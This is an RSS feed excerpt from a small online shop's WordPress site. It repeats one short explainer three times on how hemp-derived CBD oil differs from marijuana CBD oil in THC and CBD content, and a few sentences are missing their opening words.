xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>openmarket https://shopopenmarket.com openmarket Tue, 14 Apr 2020 15:46:37 +0000 en-US hourly 1 https://wordpress.org/?v=6.2.2 What is the Difference between Hemp CBD Oil and Marijuana CBD Oil? https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil-3/ https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil-3/#respond Tue, 14 Apr 2020 15:46:37 +0000 http://shopopenmarket.com/?p=685 Here, we’d like to explain the difference between cannabis (or marijuana) and hemp (or industrial hemp).

are two different varieties of Cannabis sativa plant that belongs to the Cannabaceae family.

Although cannabis and industrial hemp both derive from the species Cannabis sativa, they are distinct strains with unique phytochemical compositions and uses. Hemp has lower concentrations of the psychoactive component THC and higher concentrations of cannabidiol (CBD), which decreases or eliminates its psychoactive effects.

Marijuana (herbal cannabis), is a psychoactive drug from the female Cannabis plant that consists of the dried flowers and subtending leaves and stems. The main psychoactive part of cannabis is tetrahydrocannabinol (THC), including at least 65 other cannabinoids. is the most widely consumed form, containing 3% to 20% THC, with reports of up-to 33% THC. This is the stock material from which all other preparations are derived.

Does hemp CBD oil get you high?

The short answer to the question, “Can hemp CBD oil get you high?” is no, it can’t.

So, while THC is found in high quantities in marijuana and low quantities in hemp, the reverse is true for CBD. The CBD in CBD oil is most often extracted from hemp as opposed to marijuana since it is naturally higher in CBD and lower in THC.

]]>
https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil-3/feed/ 0
What is the Difference between Hemp CBD Oil and Marijuana CBD Oil? https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil-2/ https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil-2/#respond Tue, 14 Apr 2020 15:46:34 +0000 http://shopopenmarket.com/?p=684 Here, we’d like to explain the difference between cannabis (or marijuana) and hemp (or industrial hemp).

are two different varieties of Cannabis sativa plant that belongs to the Cannabaceae family.

Although cannabis and industrial hemp both derive from the species Cannabis sativa, they are distinct strains with unique phytochemical compositions and uses. Hemp has lower concentrations of the psychoactive component THC and higher concentrations of cannabidiol (CBD), which decreases or eliminates its psychoactive effects.

Marijuana (herbal cannabis), is a psychoactive drug from the female Cannabis plant that consists of the dried flowers and subtending leaves and stems. The main psychoactive part of cannabis is tetrahydrocannabinol (THC), including at least 65 other cannabinoids. is the most widely consumed form, containing 3% to 20% THC, with reports of up-to 33% THC. This is the stock material from which all other preparations are derived.

Does hemp CBD oil get you high?

The short answer to the question, “Can hemp CBD oil get you high?” is no, it can’t.

So, while THC is found in high quantities in marijuana and low quantities in hemp, the reverse is true for CBD. The CBD in CBD oil is most often extracted from hemp as opposed to marijuana since it is naturally higher in CBD and lower in THC.

]]>
https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil-2/feed/ 0
What is the Difference between Hemp CBD Oil and Marijuana CBD Oil? https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil/ https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil/#respond Tue, 14 Apr 2020 15:46:32 +0000 http://shopopenmarket.com/?p=683 Here, we’d like to explain the difference between cannabis (or marijuana) and hemp (or industrial hemp).

are two different varieties of Cannabis sativa plant that belongs to the Cannabaceae family.

Although cannabis and industrial hemp both derive from the species Cannabis sativa, they are distinct strains with unique phytochemical compositions and uses. Hemp has lower concentrations of the psychoactive component THC and higher concentrations of cannabidiol (CBD), which decreases or eliminates its psychoactive effects.

Marijuana (herbal cannabis), is a psychoactive drug from the female Cannabis plant that consists of the dried flowers and subtending leaves and stems. The main psychoactive part of cannabis is tetrahydrocannabinol (THC), including at least 65 other cannabinoids. is the most widely consumed form, containing 3% to 20% THC, with reports of up-to 33% THC. This is the stock material from which all other preparations are derived.

Does hemp CBD oil get you high?

The short answer to the question, “Can hemp CBD oil get you high?” is no, it can’t.

So, while THC is found in high quantities in marijuana and low quantities in hemp, the reverse is true for CBD. The CBD in CBD oil is most often extracted from hemp as opposed to marijuana since it is naturally higher in CBD and lower in THC.

]]>
https://shopopenmarket.com/what-is-the-difference-between-hemp-cbd-oil-and-marijuana-cbd-oil/feed/ 0